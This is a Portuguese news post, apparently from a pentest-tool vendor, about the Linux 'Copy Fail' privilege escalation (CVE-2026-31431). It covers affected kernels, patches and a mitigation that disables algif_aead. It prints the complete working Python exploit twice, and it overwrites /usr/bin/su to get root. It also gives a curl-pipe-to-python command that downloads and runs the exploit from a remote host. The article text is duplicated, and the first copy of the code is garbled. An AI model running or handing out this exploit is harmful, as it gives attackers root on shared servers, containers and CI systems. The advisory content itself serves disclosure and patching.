Vulnerabilidade LPE 'Copy Fail' no Linux Revelada: Root em um Clique com 10 Linhas de Código Python
Uma nova vulnerabilidade de escalonamento de privilégios (LPE) chamada 'Copy Fail' foi descoberta no Linux, permitindo que usuários locais obtenham acesso root com apenas um script Python de 10 linhas. A falha reside em uma lógica defeituosa no subsistema criptográfico do kernel Linux, afetando distribuições populares desde 2017.
MundiX News·12 de maio de 2026·2 min de leitura·👁 7 views
Foi revelada uma vulnerabilidade LPE (Local Privilege Escalation) com um código Python de 10 linhas, denominada 'Copy Fail' (CVE-2026-31431), que pode ser explorada em sistemas baseados em Linux. Com essa vulnerabilidade, um usuário local sem privilégios pode obter acesso root ao sistema com um único clique, sem condições de corrida (race condition), sem necessidade de adivinhação de offsets e sem preparação complexa.
Pesquisadores explicaram que o mesmo PoC (Proof of Concept) em Python de 732 bytes funciona em grandes distribuições Linux lançadas a partir de 2017. Demonstrações foram confirmadas em Ubuntu, Amazon Linux, RHEL e SUSE (onde o módulo algif_aead vulnerável está presente). A vulnerabilidade explora um erro lógico no subsistema criptográfico do Linux: a sequência authencesn → AF_ALG → splice() leva a uma escrita controlada no cache de página. O resultado é a capacidade de modificar o comportamento de um binário setuid e obter acesso root.
Embora não seja uma RCE (Remote Code Execution) por si só, a exploração requer acesso local ou a capacidade de executar código em um PC remoto. No entanto, é crítica para hosts compartilhados, executores CI/CD, clusters Kubernetes, sandboxes, servidores de desenvolvimento e plataformas SaaS com código de usuário: um contêiner ou usuário comum pode se tornar um problema em nível de host. O patch para o kernel Linux (a664bf3d603d) já foi publicado. A vulnerabilidade foi descoberta com a ajuda de IA após aproximadamente uma hora de experimentos com análise do código do subsistema criptográfico do kernel. O problema aparece a partir do kernel Linux 4.14, lançado em 2017, e foi corrigido nos kernels 6.18.22, 6.19.12 e 7.0. Como solução alternativa, o módulo do kernel algif_aead pode ser desativado, o que pode ser usado no OpenSSL ao ativar explicitamente o mecanismo afalg e em alguns aplicativos separados (verifique a presença de tais aplicativos em execução com o comando 'lsof | grep AF_ALG'): echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf && rmmod algif_aead.
bash
$ curl https://copy.fail/exp | python3 &&su
python
# CVE-2026-31431 (copy-fail) unminimized# copy-fail-CVE-2026-31431__unminimized.py#!/usr/bin/env python3import os
import zlib
import socket
defd(x):returnbytes.fromhex(x)defc(f, t, c): a = socket.socket(38,5,0) a.bind(("aead","authencesn(hmac(sha256),cbc(aes))")) h =279 v = a.setsockopt
v(h,1, d("0800010000000010"+"0"*64)) v(h,5,None,4) u, _ = a.accept() o = t +4 i = d("00") u.sendmsg([b"A"*4+ c],[(h,3, i *4),(h,2,b"\x10"+ i *19),(h,4,b"\x08"+ i *3),],32768,) r, w = os.pipe() n = os.splice
n(f, w, o, offset_src=0) n(r, u.fileno(), o)try: u.recv(8+ t)except:0f = os.open("/usr/bin/su",0)i =0e = zlib.decompress( d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i <len(e): c(f, i, e[i : i +4]) i +=4os.system("su")
🛡️⚡
Pare de pesquisar. Comece a hackear.
O MundiX é seu copiloto de pentest com IA: comandos exatos, análise de outputs e próximo passo na kill chain — em segundos.
Sem cartão para começar · Planos a partir de R$49/mês
Foi revelada uma vulnerabilidade LPE (Local Privilege Escalation) com um código Python de 10 linhas, denominada 'Copy Fail' (CVE-2026-31431), que pode ser explorada em sistemas baseados em Linux. Com essa vulnerabilidade, um usuário local sem privilégios pode obter acesso root ao sistema com um único clique, sem condições de corrida (race condition), sem necessidade de adivinhação de offsets e sem preparação complexa.
Pesquisadores explicaram que o mesmo PoC (Proof of Concept) em Python de 732 bytes funciona em grandes distribuições Linux lançadas a partir de 2017. Demonstrações foram confirmadas em Ubuntu, Amazon Linux, RHEL e SUSE (onde o módulo algif_aead vulnerável está presente). A vulnerabilidade explora um erro lógico no subsistema criptográfico do Linux: a sequência authencesn → AF_ALG → splice() leva a uma escrita controlada no cache de página. O resultado é a capacidade de modificar o comportamento de um binário setuid e obter acesso root.
Embora não seja uma RCE (Remote Code Execution) por si só, a exploração requer acesso local ou a capacidade de executar código em um PC remoto. No entanto, é crítica para hosts compartilhados, executores CI/CD, clusters Kubernetes, sandboxes, servidores de desenvolvimento e plataformas SaaS com código de usuário: um contêiner ou usuário comum pode se tornar um problema em nível de host. O patch para o kernel Linux (a664bf3d603d) já foi publicado. A vulnerabilidade foi descoberta com a ajuda de IA após aproximadamente uma hora de experimentos com análise do código do subsistema criptográfico do kernel. O problema aparece a partir do kernel Linux 4.14, lançado em 2017, e foi corrigido nos kernels 6.18.22, 6.19.12 e 7.0. Como solução alternativa, o módulo do kernel algif_aead pode ser desativado, o que pode ser usado no OpenSSL ao ativar explicitamente o mecanismo afalg e em alguns aplicativos separados (verifique a presença de tais aplicativos em execução com o comando 'lsof | grep AF_ALG'): echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf && rmmod algif_aead.
$ curl https://copy.fail/exp | python3 && su
# CVE-2026-31431 (copy-fail) unminimized
# copy-fail-CVE-2026-31431__unminimized.py
#!/usr/bin/env python3
import os
import zlib
import socket
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d("0800010000000010" + "0" * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d("00")
u.sendmsg(
[b"A" * 4 + c],
[
(h, 3, i * 4),
(h, 2, b"\x10" + i * 19),
(h, 4, b"\x08" + i * 3),
],
32768,
)
r, w = os.pipe()
n = os.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try:
u.recv(8 + t)
except:
0
f = os.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(
d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
)
)
while i < len(e):
c(f, i, e[i : i + 4])
i += 4
os.system("su")
📤 Compartilhar & Baixar
🧰 Ferramentas recomendadas
Divulgação: alguns links são patrocinados. Podemos receber comissão se você comprar — sem custo extra para você. Só indicamos o que faz sentido para a comunidade.